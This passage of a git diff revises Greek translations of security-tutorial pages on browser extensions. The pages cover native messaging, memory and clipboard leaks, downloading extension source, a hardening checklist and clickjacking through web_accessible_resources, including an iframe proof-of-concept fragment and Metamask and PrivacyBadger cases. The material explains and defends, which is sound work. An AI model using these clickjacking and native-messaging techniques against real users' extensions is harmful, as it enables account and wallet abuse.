;(async () => {
|
||||
@ -523,13 +523,13 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||
```
|
||||
Στο παράδειγμα που επισημαίνεται, **`sendResponse()`** εκτελέστηκε με συγχρονισμένο τρόπο. Για να τροποποιηθεί ο χειριστής γεγονότος `onMessage` για ασύγχρονη εκτέλεση του `sendResponse()`, είναι επιτακτική ανάγκη να ενσωματωθεί το `return true;`.
|
||||
|
||||
Μια σημαντική παράμετρος είναι ότι σε σενάρια όπου πολλές σελίδες είναι ρυθμισμένες να λαμβάνουν γεγονότα `onMessage`, **η πρώτη σελίδα που εκτελεί το `sendResponse()`** για μια συγκεκριμένη εκδήλωση θα είναι η μόνη που θα μπορεί να παραδώσει την απάντηση αποτελεσματικά. Οποιεσδήποτε επόμενες απαντήσεις στην ίδια εκδήλωση δεν θα ληφθούν υπόψη.
|
||||
Μια σημαντική παράμετρος είναι ότι σε σενάρια όπου πολλές σελίδες είναι ρυθμισμένες να λαμβάνουν γεγονότα `onMessage`, **η πρώτη σελίδα που εκτελεί το `sendResponse()`** για ένα συγκεκριμένο γεγονός θα είναι η μόνη που θα μπορεί να παραδώσει την απάντηση αποτελεσματικά. Οποιεσδήποτε επόμενες απαντήσεις στο ίδιο γεγονός δεν θα ληφθούν υπόψη.
|
||||
|
||||
Κατά την κατασκευή νέων επεκτάσεων, η προτίμηση θα πρέπει να είναι προς τις υποσχέσεις αντί για callbacks. Όσον αφορά τη χρήση callbacks, η συνάρτηση `sendResponse()` θεωρείται έγκυρη μόνο εάν εκτελείται άμεσα μέσα στο συγχρονισμένο πλαίσιο, ή εάν ο χειριστής γεγονότος υποδεικνύει μια ασύγχρονη λειτουργία επιστρέφοντας `true`. Εάν κανένας από τους χειριστές δεν επιστρέψει `true` ή εάν η συνάρτηση `sendResponse()` αφαιρεθεί από τη μνήμη (garbage-collected), το callback που σχετίζεται με τη συνάρτηση `sendMessage()` θα ενεργοποιηθεί από προεπιλογή.
|
||||
Κατά την κατασκευή νέων επεκτάσεων, η προτίμηση θα πρέπει να είναι προς τις υποσχέσεις αντί για τα callbacks. Όσον αφορά τη χρήση callbacks, η συνάρτηση `sendResponse()` θεωρείται έγκυρη μόνο εάν εκτελείται άμεσα μέσα στο συγχρονισμένο πλαίσιο, ή εάν ο χειριστής γεγονότος υποδεικνύει μια ασύγχρονη λειτουργία επιστρέφοντας `true`. Εάν κανένας από τους χειριστές δεν επιστρέψει `true` ή εάν η συνάρτηση `sendResponse()` αφαιρεθεί από τη μνήμη (καθαριστεί από τη συλλογή απορριμμάτων), το callback που σχετίζεται με τη συνάρτηση `sendMessage()` θα ενεργοποιηθεί από προεπιλογή.
|
||||
|
||||
## Native Messaging
|
||||
|
||||
Οι επεκτάσεις προγράμματος περιήγησης επιτρέπουν επίσης την επικοινωνία με **δυαδικά αρχεία στο σύστημα μέσω stdin**. Η εφαρμογή πρέπει να εγκαταστήσει ένα json που να το υποδεικνύει σε ένα json όπως:
|
||||
Οι επεκτάσεις προγράμματος περιήγησης επιτρέπουν επίσης την επικοινωνία με **binaries στο σύστημα μέσω stdin**. Η εφαρμογή πρέπει να εγκαταστήσει ένα json που να το υποδεικνύει σε ένα json όπως:
|
||||
```json
|
||||
{
|
||||
"name": "com.my_company.my_application",
|
||||
@ -541,7 +541,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||
```
|
||||
Όπου το `name` είναι η συμβολοσειρά που περνάται στο [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ή στο [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) για να επικοινωνήσει με την εφαρμογή από τα background scripts της επέκτασης του προγράμματος περιήγησης. Το `path` είναι η διαδρομή προς το δυαδικό αρχείο, υπάρχει μόνο 1 έγκυρος `type` που είναι το stdio (χρησιμοποιήστε stdin και stdout) και οι `allowed_origins` υποδεικνύουν τις επεκτάσεις που μπορούν να έχουν πρόσβαση σε αυτό (και δεν μπορούν να έχουν wildcard).
|
||||
|
||||
Το Chrome/Chromium θα αναζητήσει αυτό το json σε κάποιες ρυθμίσεις μητρώου των Windows και σε κάποιες διαδρομές σε macOS και Linux (περισσότερες πληροφορίες στα [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
|
||||
Το Chrome/Chromium θα αναζητήσει αυτό το json σε κάποιες ρυθμίσεις μητρώου των Windows και σε κάποιες διαδρομές σε macOS και Linux (περισσότερες πληροφορίες στις [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
|
||||
|
||||
> [!TIP]
|
||||
> Η επέκταση του προγράμματος περιήγησης χρειάζεται επίσης την άδεια `nativeMessaing` δηλωμένη για να μπορεί να χρησιμοποιήσει αυτή την επικοινωνία.
|
||||
@ -561,25 +561,25 @@ console.log("Received " + response)
|
||||
1. Η επέκταση του προγράμματος περιήγησης έχει ένα μοτίβο wildcard για το περιεχόμενο του script.
|
||||
2. Το περιεχόμενο του script περνάει μηνύματα `postMessage` στο background script χρησιμοποιώντας `sendMessage`.
|
||||
3. Το background script περνάει το μήνυμα στην εγ native εφαρμογή χρησιμοποιώντας `sendNativeMessage`.
|
||||
4. Η εγ native εφαρμογή χειρίζεται το μήνυμα με επικίνδυνο τρόπο, οδηγώντας σε εκτέλεση κώδικα.
|
||||
4. Η εγ native εφαρμογή χειρίζεται το μήνυμα επικίνδυνα, οδηγώντας σε εκτέλεση κώδικα.
|
||||
|
||||
Και μέσα σε αυτό, εξηγείται ένα παράδειγμα **μετάβασης από οποιαδήποτε σελίδα σε RCE εκμεταλλευόμενο μια επέκταση προγράμματος περιήγησης**.
|
||||
|
||||
## Ευαίσθητες Πληροφορίες στη Μνήμη/Κώδικα/Πρόχειρο
|
||||
|
||||
Εάν μια Επέκταση Προγράμματος Περιήγησης αποθηκεύει **ευαίσθητες πληροφορίες μέσα στη μνήμη της**, αυτές θα μπορούσαν να **εκφορτωθούν** (ιδιαίτερα σε μηχανές Windows) και να **αναζητηθούν** για αυτές τις πληροφορίες.
|
||||
Εάν μια Επέκταση Προγράμματος Περιήγησης αποθηκεύει **ευαίσθητες πληροφορίες μέσα στη μνήμη της**, αυτές θα μπορούσαν να **εκχυθούν** (ιδιαίτερα σε μηχανές Windows) και να **αναζητηθούν** για αυτές τις πληροφορίες.
|
||||
|
||||
Επομένως, η μνήμη της Επέκτασης Προγράμματος Περιήγησης **δεν θα πρέπει να θεωρείται ασφαλής** και **ευαίσθητες πληροφορίες** όπως διαπιστευτήρια ή μνημονικές φράσεις **δεν θα πρέπει να αποθηκεύονται**.
|
||||
|
||||
Φυσικά, **μην βάζετε ευαίσθητες πληροφορίες στον κώδικα**, καθώς θα είναι **δημόσιες**.
|
||||
|
||||
Για να εκφορτώσετε τη μνήμη από τον περιηγητή, μπορείτε να **εκφορτώσετε τη μνήμη της διαδικασίας** ή να πάτε στις **ρυθμίσεις** της επέκτασης του προγράμματος περιήγησης κάνοντας κλικ στο **`Inspect pop-up`** -> Στην ενότητα **`Memory`** -> **`Take a snapshot`** και **`CTRL+F`** για να αναζητήσετε μέσα στο στιγμιότυπο ευαίσθητες πληροφορίες.
|
||||
Για να εκχυθεί η μνήμη από τον περιηγητή μπορείτε να **εκχύσετε τη μνήμη της διαδικασίας** ή να πάτε στις **ρυθμίσεις** της επέκτασης του προγράμματος περιήγησης και να κάνετε κλικ στο **`Inspect pop-up`** -> Στην ενότητα **`Memory`** -> **`Take a snapshot`** και **`CTRL+F`** για να αναζητήσετε μέσα στο στιγμιότυπο ευαίσθητες πληροφορίες.
|
||||
|
||||
Επιπλέον, οι πολύ ευαίσθητες πληροφορίες όπως μνημονικά κλειδιά ή κωδικοί πρόσβασης **δεν θα πρέπει να επιτρέπεται να αντιγράφονται στο πρόχειρο** (ή τουλάχιστον να αφαιρούνται από το πρόχειρο σε λίγα δευτερόλεπτα) γιατί τότε οι διαδικασίες που παρακολουθούν το πρόχειρο θα μπορούν να τις αποκτήσουν.
|
||||
|
||||
## Φόρτωση μιας Επέκτασης στον Περιηγητή
|
||||
|
||||
1. **Κατεβάστε** την Επέκταση Προγράμματος Περιήγησης & αποσυμπιέστε την
|
||||
1. **Κατεβάστε** την Επέκταση του Προγράμματος Περιήγησης & αποσυμπιέστε την
|
||||
2. Πηγαίνετε στο **`chrome://extensions/`** και **ενεργοποιήστε** τη λειτουργία `Developer Mode`
|
||||
3. Κάντε κλικ στο κουμπί **`Load unpacked`**
|
||||
|
||||
@ -591,7 +591,7 @@ console.log("Received " + response)
|
||||
|
||||
### Λήψη Επέκτασης ως ZIP μέσω Γραμμής Εντολών
|
||||
|
||||
Ο πηγαίος κώδικας μιας επέκτασης Chrome μπορεί να ληφθεί ως αρχείο ZIP χρησιμοποιώντας τη γραμμή εντολών. Αυτό περιλαμβάνει τη χρήση του `curl` για να αποκτήσετε το αρχείο ZIP από μια συγκεκριμένη διεύθυνση URL και στη συνέχεια να εξαγάγετε τα περιεχόμενα του αρχείου ZIP σε έναν φάκελο. Ακολουθούν τα βήματα:
|
||||
Ο πηγαίος κώδικας μιας επέκτασης Chrome μπορεί να ληφθεί ως αρχείο ZIP χρησιμοποιώντας τη γραμμή εντολών. Αυτό περιλαμβάνει τη χρήση του `curl` για να αποκτήσετε το αρχείο ZIP από μια συγκεκριμένη διεύθυνση URL και στη συνέχεια την εξαγωγή των περιεχομένων του αρχείου ZIP σε έναν φάκελο. Ακολουθούν τα βήματα:
|
||||
|
||||
1. Αντικαταστήστε το `"extension_id"` με το πραγματικό ID της επέκτασης.
|
||||
2. Εκτελέστε τις παρακάτω εντολές:
|
||||
@ -612,7 +612,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
|
||||
Οι επεκτάσεις Chrome που έχουν εγκατασταθεί τοπικά μπορούν επίσης να επιθεωρηθούν. Να πώς:
|
||||
|
||||
1. Προσπελάστε τον τοπικό φάκελο προφίλ Chrome επισκεπτόμενοι το `chrome://version/` και εντοπίζοντας το πεδίο "Profile Path".
|
||||
1. Πρόσβαση στον τοπικό φάκελο προφίλ Chrome επισκεπτόμενοι το `chrome://version/` και εντοπίζοντας το πεδίο "Profile Path".
|
||||
2. Μεταβείτε στον υποφάκελο `Extensions/` εντός του φακέλου προφίλ.
|
||||
3. Αυτός ο φάκελος περιέχει όλες τις εγκατεστημένες επεκτάσεις, συνήθως με τον πηγαίο κώδικα τους σε αναγνώσιμη μορφή.
|
||||
|
||||
@ -629,32 +629,32 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
|
||||
Ανοίξτε το Chrome και πηγαίνετε στο `chrome://extensions/`. Ενεργοποιήστε τη "Λειτουργία προγραμματιστή" στην επάνω δεξιά γωνία. Κάντε κλικ στο "Φόρτωση αποσυμπιεσμένης επέκτασης...". Μεταβείτε στον φάκελο της επέκτασής σας. Αυτό δεν κατεβάζει τον πηγαίο κώδικα, αλλά είναι χρήσιμο για την προβολή και την τροποποίηση του κώδικα μιας ήδη κατεβασμένης ή αναπτυγμένης επέκτασης.
|
||||
|
||||
## Σύνολο δεδομένων manifest επέκτασης Chrome
|
||||
## Σύνολο δεδομένων manifest επεκτάσεων Chrome
|
||||
|
||||
Για να προσπαθήσετε να εντοπίσετε ευάλωτες επεκτάσεις προγράμματος περιήγησης, μπορείτε να χρησιμοποιήσετε το [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) και να ελέγξετε τα αρχεία manifest τους για πιθανά σημάδια ευαλωτότητας. Για παράδειγμα, για να ελέγξετε για επεκτάσεις με περισσότερους από 25000 χρήστες, `content_scripts` και την άδεια `nativeMessaing`:
|
||||
Για να προσπαθήσετε να εντοπίσετε ευάλωτες επεκτάσεις προγράμματος περιήγησης, μπορείτε να χρησιμοποιήσετε το [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) και να ελέγξετε τα αρχεία manifest τους για πιθανά ευάλωτα σημάδια. Για παράδειγμα, για να ελέγξετε επεκτάσεις με περισσότερους από 25000 χρήστες, `content_scripts` και την άδεια `nativeMessaing`:
|
||||
```bash
|
||||
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
|
||||
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
||||
```
|
||||
## Λίστα Ελέγχου Ασφαλείας
|
||||
|
||||
Ακόμα και αν οι Επεκτάσεις Περιηγητή έχουν μια **περιορισμένη επιφάνεια επίθεσης**, μερικές από αυτές μπορεί να περιέχουν **ευπάθειες** ή **πιθανές βελτιώσεις ασφάλειας**. Οι παρακάτω είναι οι πιο κοινές:
|
||||
Αν και οι Επεκτάσεις Περιηγητή έχουν μια **περιορισμένη επιφάνεια επίθεσης**, μερικές από αυτές μπορεί να περιέχουν **ευπάθειες** ή **πιθανές βελτιώσεις ασφάλειας**. Οι παρακάτω είναι οι πιο κοινές:
|
||||
|
||||
- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τις ζητούμενες **`permissions`**
|
||||
- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τις **`host_permissions`**
|
||||
- [ ] Χρησιμοποιήστε μια **ισχυρή** **`content_security_policy`**
|
||||
- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο το **`externally_connectable`**, αν δεν είναι απαραίτητο και δυνατό, μην το αφήνετε προεπιλεγμένο, καθορίστε **`{}`**
|
||||
- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο το **`externally_connectable`**, αν δεν χρειάζεται και είναι δυνατόν, μην το αφήνετε προεπιλεγμένο, καθορίστε **`{}`**
|
||||
- [ ] Αν αναφέρεται εδώ **URL ευάλωτο σε XSS ή σε κατάληψη**, ένας επιτιθέμενος θα μπορεί να **στέλνει μηνύματα στα background scripts απευθείας**. Πολύ ισχυρή παράκαμψη.
|
||||
- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τους **`web_accessible_resources`**, ακόμα και κενά αν είναι δυνατόν.
|
||||
- [ ] Αν οι **`web_accessible_resources`** δεν είναι κανένα, ελέγξτε για [**ClickJacking**](browext-clickjacking.md)
|
||||
- [ ] Αν οποιαδήποτε **επικοινωνία** συμβαίνει από την **επέκταση** προς την **ιστοσελίδα**, [**ελέγξτε για XSS**](browext-xss-example.md) **ευπάθειες** που προκαλούνται στην επικοινωνία.
|
||||
- [ ] Αν χρησιμοποιούνται Post Messages, ελέγξτε για [**Post Message ευπάθειες**](../postmessage-vulnerabilities/)**.**
|
||||
- [ ] Αν το **Content Script έχει πρόσβαση σε λεπτομέρειες DOM**, ελέγξτε ότι **δεν εισάγουν XSS** αν **τροποποιηθούν** από τον ιστό
|
||||
- [ ] Αν χρησιμοποιούνται Post Messages, ελέγξτε για [**Post Message vulnerabilities**](../postmessage-vulnerabilities/)**.**
|
||||
- [ ] Αν το **Content Script έχει πρόσβαση σε λεπτομέρειες DOM**, ελέγξτε ότι **δεν εισάγουν XSS** αν τροποποιηθούν από τον ιστό
|
||||
- [ ] Δώστε ιδιαίτερη έμφαση αν αυτή η επικοινωνία εμπλέκεται επίσης στην **επικοινωνία Content Script -> Background script**
|
||||
- [ ] Αν το background script επικοινωνεί μέσω **native messaging**, ελέγξτε ότι η επικοινωνία είναι ασφαλής και καθαρισμένη
|
||||
- [ ] **Ευαίσθητες πληροφορίες δεν θα πρέπει να αποθηκεύονται** μέσα στον κώδικα της Επέκτασης Περιηγητή
|
||||
- [ ] **Ευαίσθητες πληροφορίες δεν θα πρέπει να αποθηκεύονται** μέσα στη μνήμη της Επέκτασης Περιηγητή
|
||||
- [ ] **Ευαίσθητες πληροφορίες δεν θα πρέπει να αποθηκεύονται** μέσα στο **σύστημα αρχείων χωρίς προστασία**
|
||||
- [ ] **Ευαίσθητες πληροφορίες δεν πρέπει να αποθηκεύονται** μέσα στον κώδικα της Επέκτασης Περιηγητή
|
||||
- [ ] **Ευαίσθητες πληροφορίες δεν πρέπει να αποθηκεύονται** μέσα στη μνήμη της Επέκτασης Περιηγητή
|
||||
- [ ] **Ευαίσθητες πληροφορίες δεν πρέπει να αποθηκεύονται** μέσα στο **σύστημα αρχείων χωρίς προστασία**
|
||||
|
||||
## Κίνδυνοι Επέκτασης Περιηγητή
|
||||
|
||||
@ -666,7 +666,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
||||
|
||||
- Τραβά οποιαδήποτε επέκταση Chrome από έναν παρεχόμενο σύνδεσμο του Chrome webstore.
|
||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: απλά εμφανίζει μια JSON-μορφοποιημένη έκδοση του manifest της επέκτασης.
|
||||
- **Ανάλυση Δακτυλικών Αποτυπωμάτων**: Ανίχνευση [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) και αυτόματη δημιουργία JavaScript δακτυλικών αποτυπωμάτων για επεκτάσεις Chrome.
|
||||
- **Ανάλυση Δακτυλικών Αποτυπωμάτων**: Ανίχνευση των [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) και αυτόματη δημιουργία JavaScript δακτυλικών αποτυπωμάτων για επεκτάσεις Chrome.
|
||||
- **Πιθανή Ανάλυση Clickjacking**: Ανίχνευση HTML σελίδων επεκτάσεων με τη ρύθμιση [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Αυτές είναι πιθανώς ευάλωτες σε clickjacking ανάλογα με τον σκοπό των σελίδων.
|
||||
- **Viewer προειδοποιήσεων άδειας**: που δείχνει μια λίστα με όλες τις προειδοποιήσεις άδειας Chrome που θα εμφανιστούν όταν ένας χρήστης προσπαθήσει να εγκαταστήσει την επέκταση.
|
||||
- **Επικίνδυνες Λειτουργίες**: δείχνει την τοποθεσία επικίνδυνων λειτουργιών που θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο (π.χ. λειτουργίες όπως innerHTML, chrome.tabs.executeScript).
|
||||
@ -674,7 +674,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
||||
- Και οι σαρωτές Επικίνδυνων Λειτουργιών και Σημείων Εισόδου έχουν τα εξής για τις παραγόμενες ειδοποιήσεις τους:
|
||||
- Σχετικό απόσπασμα κώδικα και γραμμή που προκάλεσε την ειδοποίηση.
|
||||
- Περιγραφή του ζητήματος.
|
||||
- Ένα κουμπί “View File” για να δείτε το πλήρες αρχείο πηγαίου κώδικα που περιέχει τον κώδικα.
|
||||
- Ένα κουμπί “View File” για να δείτε το πλήρες αρχείο πηγής που περιέχει τον κώδικα.
|
||||
- Η διαδρομή του ειδοποιημένου αρχείου.
|
||||
- Η πλήρης URI της ειδοποιημένης επέκτασης Chrome.
|
||||
- Ο τύπος του αρχείου, όπως ένα script Background Page, Content Script, Browser Action, κ.λπ.
|
||||
@ -684,12 +684,12 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
||||
- Κατεβάστε την επέκταση και μορφοποιημένες εκδόσεις.
|
||||
- Κατεβάστε την αρχική επέκταση.
|
||||
- Κατεβάστε μια όμορφα διαμορφωμένη έκδοση της επέκτασης (αυτόματη μορφοποίηση HTML και JavaScript).
|
||||
- Αυτόματη αποθήκευση αποτελεσμάτων σάρωσης, η εκτέλεση σάρωσης επέκτασης θα διαρκέσει αρκετό χρόνο την πρώτη φορά που θα την εκτελέσετε. Ωστόσο, τη δεύτερη φορά, εφόσον η επέκταση δεν έχει ενημερωθεί, θα είναι σχεδόν άμεση λόγω της αποθήκευσης των αποτελεσμάτων.
|
||||
- Αυτόματη αποθήκευση αποτελεσμάτων σάρωσης, η εκτέλεση μιας σάρωσης επέκτασης θα διαρκέσει αρκετό χρόνο την πρώτη φορά που την εκτελείτε. Ωστόσο, τη δεύτερη φορά, εφόσον η επέκταση δεν έχει ενημερωθεί, θα είναι σχεδόν άμεση λόγω της αποθήκευσης των αποτελεσμάτων.
|
||||
- Συνδέσιμες διευθύνσεις URL αναφορών, εύκολα συνδέστε κάποιον άλλο σε μια αναφορά επέκτασης που δημιουργήθηκε από το tarnish.
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
Το έργο Neto είναι ένα πακέτο Python 3 που έχει σχεδιαστεί για να αναλύει και να αποκαλύπτει κρυφές δυνατότητες των πρόσθετων και επεκτάσεων περιηγητών για γνωστούς περιηγητές όπως ο Firefox και ο Chrome. Αυτοματοποιεί τη διαδικασία αποσυμπίεσης των πακεταρισμένων αρχείων για να εξάγει αυτές τις δυνατότητες από σχετικούς πόρους σε μια επέκταση όπως το `manifest.json`, φακέλους τοπικοποίησης ή πηγαία αρχεία Javascript και HTML.
|
||||
Το Project Neto είναι ένα πακέτο Python 3 που έχει σχεδιαστεί για να αναλύει και να αποκαλύπτει κρυφές δυνατότητες των πρόσθετων και επεκτάσεων περιηγητών για γνωστούς περιηγητές όπως ο Firefox και ο Chrome. Αυτοματοποιεί τη διαδικασία αποσυμπίεσης των πακεταρισμένων αρχείων για να εξάγει αυτές τις δυνατότητες από σχετικούς πόρους σε μια επέκταση όπως το `manifest.json`, φακέλους τοπικοποίησης ή πηγές JavaScript και HTML.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -11,7 +11,7 @@
|
||||
../clickjacking.md
|
||||
{{#endref}}
|
||||
|
||||
Οι επεκτάσεις περιέχουν το αρχείο **`manifest.json`** και αυτό το αρχείο JSON έχει ένα πεδίο `web_accessible_resources`. Να τι λένε τα [έγγραφα του Chrome](https://developer.chrome.com/extensions/manifest/web_accessible_resources) γι' αυτό:
|
||||
Οι επεκτάσεις περιέχουν το αρχείο **`manifest.json`** και αυτό το αρχείο JSON έχει ένα πεδίο `web_accessible_resources`. Να τι λένε τα [έγγραφα του Chrome](https://developer.chrome.com/extensions/manifest/web_accessible_resources):
|
||||
|
||||
> Αυτοί οι πόροι θα είναι διαθέσιμοι σε μια ιστοσελίδα μέσω του URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, το οποίο μπορεί να παραχθεί με τη μέθοδο **`extension.getURL method`**. Οι πόροι που έχουν επιτραπεί παρέχονται με κατάλληλους CORS headers, έτσι ώστε να είναι διαθέσιμοι μέσω μηχανισμών όπως το XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
||||
|
||||
@ -21,7 +21,7 @@
|
||||
- Φορτώσουν επιπλέον πόρους
|
||||
- Αλληλεπιδρούν με τον περιηγητή σε κάποιο βαθμό
|
||||
|
||||
Ωστόσο, αυτή η δυνατότητα παρουσιάζει έναν κίνδυνο ασφάλειας. Αν ένας πόρος εντός των **`web_accessible_resources`** έχει οποιαδήποτε σημαντική λειτουργικότητα, ένας επιτιθέμενος θα μπορούσε ενδεχομένως να ενσωματώσει αυτόν τον πόρο σε μια εξωτερική ιστοσελίδα. Οι ανυποψίαστοι χρήστες που επισκέπτονται αυτή τη σελίδα μπορεί να ενεργοποιήσουν ακούσια αυτόν τον ενσωματωμένο πόρο. Μια τέτοια ενεργοποίηση θα μπορούσε να οδηγήσει σε απρόβλεπτες συνέπειες, ανάλογα με τις άδειες και τις δυνατότητες των πόρων της επέκτασης.
|
||||
Ωστόσο, αυτή η δυνατότητα παρουσιάζει έναν κίνδυνο ασφάλειας. Αν ένας πόρος εντός των **`web_accessible_resources`** έχει οποιαδήποτε σημαντική λειτουργικότητα, ένας επιτιθέμενος θα μπορούσε δυνητικά να ενσωματώσει αυτόν τον πόρο σε μια εξωτερική ιστοσελίδα. Οι ανυποψίαστοι χρήστες που επισκέπτονται αυτή τη σελίδα μπορεί να ενεργοποιήσουν ακούσια αυτόν τον ενσωματωμένο πόρο. Αυτή η ενεργοποίηση θα μπορούσε να οδηγήσει σε απρόβλεπτες συνέπειες, ανάλογα με τις άδειες και τις δυνατότητες των πόρων της επέκτασης.
|
||||
|
||||
## PrivacyBadger Example
|
||||
|
||||
@ -75,15 +75,15 @@ src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
|
||||
```
|
||||
## Metamask Example
|
||||
|
||||
Ένα [**blog post σχετικά με ένα ClickJacking στο metamask μπορεί να βρεθεί εδώ**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). Σε αυτή την περίπτωση, το Metamask διόρθωσε την ευπάθεια ελέγχοντας ότι το πρωτόκολλο που χρησιμοποιήθηκε για την πρόσβαση ήταν **`https:`** ή **`http:`** (όχι **`chrome:`** για παράδειγμα):
|
||||
A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask διόρθωσε την ευπάθεια ελέγχοντας ότι το πρωτόκολλο που χρησιμοποιήθηκε για την πρόσβαση ήταν **`https:`** ή **`http:`** (όχι **`chrome:`** για παράδειγμα):
|
||||
|
||||
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Ένα άλλο ClickJacking που διορθώθηκε** στην επέκταση Metamask ήταν ότι οι χρήστες μπορούσαν να **Κάνουν κλικ για να προσθέσουν στη λίστα επιτρεπόμενων** όταν μια σελίδα ήταν ύποπτη για phishing λόγω του `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Καθώς αυτή η σελίδα ήταν ευάλωτη σε Clickjacking, ένας επιτιθέμενος θα μπορούσε να την εκμεταλλευτεί δείχνοντας κάτι φυσιολογικό για να κάνει το θύμα να κάνει κλικ για να την προσθέσει στη λίστα επιτρεπόμενων χωρίς να το προσέξει, και στη συνέχεια να επιστρέψει στη σελίδα phishing που θα έχει προστεθεί στη λίστα επιτρεπόμενων.
|
||||
**Μια άλλη ClickJacking διόρθωση** στην επέκταση Metamask ήταν ότι οι χρήστες μπορούσαν να **Click to whitelist** όταν μια σελίδα ήταν ύποπτη για phishing λόγω του `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Καθώς αυτή η σελίδα ήταν ευάλωτη σε Clickjacking, ένας επιτιθέμενος θα μπορούσε να την εκμεταλλευτεί δείχνοντας κάτι φυσιολογικό για να κάνει το θύμα να κλικάρει για να την προσθέσει στη whitelist χωρίς να το προσέξει, και στη συνέχεια να επιστρέψει στη σελίδα phishing που θα έχει προστεθεί στη whitelist.
|
||||
|
||||
## Steam Inventory Helper Example
|
||||
|
||||
Ελέγξτε την παρακάτω σελίδα για να δείτε πώς ένα **XSS** σε μια επέκταση προγράμματος περιήγησης συνδυάστηκε με μια ευπάθεια **ClickJacking**:
|
||||
Check the following page to check how a **XSS** in a browser extension was chained with a **ClickJacking** vulnerability:
|
||||
|
||||
{{#ref}}
|
||||
browext-xss-example.md
|
||||
|
@ -6,9 +6,9 @@
|
||||
|
||||
### **`permissions`**
|
||||
|
||||
Οι άδειες ορίζονται στο αρχείο **`manifest.json`** της επέκτασης χρησιμοποιώντας την ιδιότητα **`permissions`** και επιτρέπουν την πρόσβαση σχεδόν σε οτιδήποτε μπορεί να προσπελάσει ένας περιηγητής (Cookies ή Φυσική Αποθήκευση):
|
||||
Οι άδειες ορίζονται στο αρχείο **`manifest.json`** της επέκτασης χρησιμοποιώντας την ιδιότητα **`permissions`** και επιτρέπουν πρόσβαση σχεδόν σε οτιδήποτε μπορεί να προσπελάσει ένας περιηγητής (Cookies ή Φυσική Αποθήκευση):
|
||||
|
||||
Το προηγούμενο μανιφέστο δηλώνει ότι η επέκταση απαιτεί την άδεια `storage`. Αυτό σημαίνει ότι μπορεί να χρησιμοποιήσει [το API αποθήκευσης](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) για να αποθηκεύσει τα δεδομένα της μόνιμα. Σε αντίθεση με τα cookies ή τα APIs `localStorage` που δίνουν στους χρήστες κάποιο επίπεδο ελέγχου, **η αποθήκευση της επέκτασης μπορεί κανονικά να διαγραφεί μόνο με την απεγκατάσταση της επέκτασης**.
|
||||
Το προηγούμενο μανιφέστο δηλώνει ότι η επέκταση απαιτεί την άδεια `storage`. Αυτό σημαίνει ότι μπορεί να χρησιμοποιήσει [το storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) για να αποθηκεύσει τα δεδομένα της μόνιμα. Σε αντίθεση με τα cookies ή τα APIs `localStorage` που δίνουν στους χρήστες κάποιο επίπεδο ελέγχου, **η αποθήκευση της επέκτασης μπορεί κανονικά να διαγραφεί μόνο με την απεγκατάσταση της επέκτασης**.
|
||||
|
||||
Μια επέκταση θα ζητήσει τις άδειες που υποδεικνύονται στο αρχείο **`manifest.json`** της και μετά την εγκατάσταση της επέκτασης, μπορείτε **πάντα να ελέγξετε τις άδειες της στον περιηγητή σας**, όπως φαίνεται σε αυτή την εικόνα:
|
||||
|
||||
@ -46,62 +46,62 @@
|
||||
Επιπλέον, **`host_permissions`** ξεκλειδώνει επίσης τη “προχωρημένη” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **λειτουργικότητα.** Επιτρέπουν στην επέκταση να καλεί [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) και όχι μόνο να επιστρέφει μια **λίστα με τις καρτέλες του χρήστη** αλλά και να μαθαίνει ποια **ιστοσελίδα (δηλαδή διεύθυνση και τίτλο) είναι φορτωμένη**.
|
||||
|
||||
> [!CAUTION]
|
||||
